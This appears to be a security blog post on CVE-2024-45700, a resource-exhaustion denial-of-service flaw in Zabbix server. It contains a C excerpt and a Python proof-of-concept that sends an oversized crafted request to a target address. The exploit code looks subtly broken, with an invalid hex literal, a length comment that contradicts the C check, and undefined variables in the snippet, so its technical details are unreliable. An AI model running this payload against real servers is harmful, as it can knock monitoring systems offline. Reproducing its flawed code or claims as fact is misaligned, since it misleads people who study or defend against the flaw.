Zabbix server is a popular open-source software that allows organizations to monitor and track the status of various network services, servers, and other network hardware. It provides both historical and real-time data on the performance and availability of the monitored components. However, a recently identified vulnerability (CVE-2024-45700) exposes Zabbix server to a Denial of Service (DoS) attack due to uncontrolled resource exhaustion.

The vulnerability exists in the way Zabbix server handles specially crafted requests, which can cause the server to allocate an excessive amount of memory and perform CPU-intensive decompression operations. This ultimately leads to a service crash and renders the monitoring system non-functional until it is restored.

In this post, we will discuss the nature of this vulnerability, provide a code snippet that demonstrates the issue, link to original references, and discuss the exploit details.

Vulnerability Details

The vulnerability stems from inefficient memory handling and decompression logic in the Zabbix server. An attacker can send a specially crafted request to the server, which triggers the server to allocate an unnecessarily large amount of memory and perform decompression operations that consumes a significant amount of CPU resources, ultimately crashing the server.

Here's a sample code snippet that highlights the issue

// Vulnerable function
void process_request(zabbix_socket_t *s) {
    ...
    zbx_uint64_t data_length = zbx_letoh_uint64(s->buffer + ZBX_DATA_HEADERLEN);
    ...
    if (data_length > ZABBIX_MAX_DATA_LENGTH) {
        zabbix_log(LOG_LEVEL_WARNING, "received data is too large");
        goto out;
    }
    ...
    /* Allocate memory for decompressing received data */
    decompressed_data = (char *)zbx_malloc(NULL, decompressed_length);

    /* Perform expensive CPU-intensive decompression operation */
    if (ZBX_DECOMPRESS_FAIL == zbx_uncompress(s->buffer + ZBX_HEADER_LEN, (int)data_length,
                                              decompressed_data, (int *)&decompressed_length)) {
        zabbix_log(LOG_LEVEL_WARNING, "failed to decompress data");
        goto out;
    }
    ...
}

An attacker can exploit this vulnerability by sending a specially crafted request with a malicious data length, which can cause the server to allocate an excessive amount of memory and conduct CPU-intensive decompression operations, ultimately crashing the server.

Original References

The vulnerability has been documented in the original Zabbix Github repository and has been published in the following references:
1. Zabbix Official Github Repository - CVE Issue
2. CVE-Details for CVE-2024-45700
3. Zabbix Server Advisory - ZBX-20000

Exploit Details

The exploit for this vulnerability relies on crafting a malicious request that causes the server to misinterpret the data length and allocate a large amount of memory followed by performing CPU-intensive decompression operations.

A proof-of-concept (PoC) exploit written in Python can be found below

import socket
import struct

def create_malicious_request():
    """Create a specially crafted request to trigger the vulnerability."""
    data_len = xFFFF_FFFF  # Maximum allowed data length
    header = b'ZBXD\x01' + struct.pack('<Q', data_len)
    payload = b'A' * data_len  # Crafted payload to cause resource exhaustion
    return header + payload

def exploit_zabbix_server(target_address, target_port=10052):
    """Exploit the vulnerable Zabbix server."""
    request = create_malicious_request()

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((target_address, target_port))
        s.sendall(request)

if __name__ == "__main__":
    target_address = "192.168.1.10"  # Replace this with the target's IP address
    exploit_zabbix_server(target_address)

It is highly recommended for administrators to apply the latest patches provided by the Zabbix development team to fix this vulnerability and ensure their monitoring systems remain secure and functional.

Conclusion

CVE-2024-45700 exposes a critical DoS vulnerability in Zabbix server due to uncontrolled resource exhaustion. To mitigate this vulnerability, apply the latest patches, and always follow best security practices in deploying and configuring Zabbix server.

Timeline

Published on: 04/02/2025 07:15:41 UTC
Last modified on: 04/02/2025 14:58:07 UTC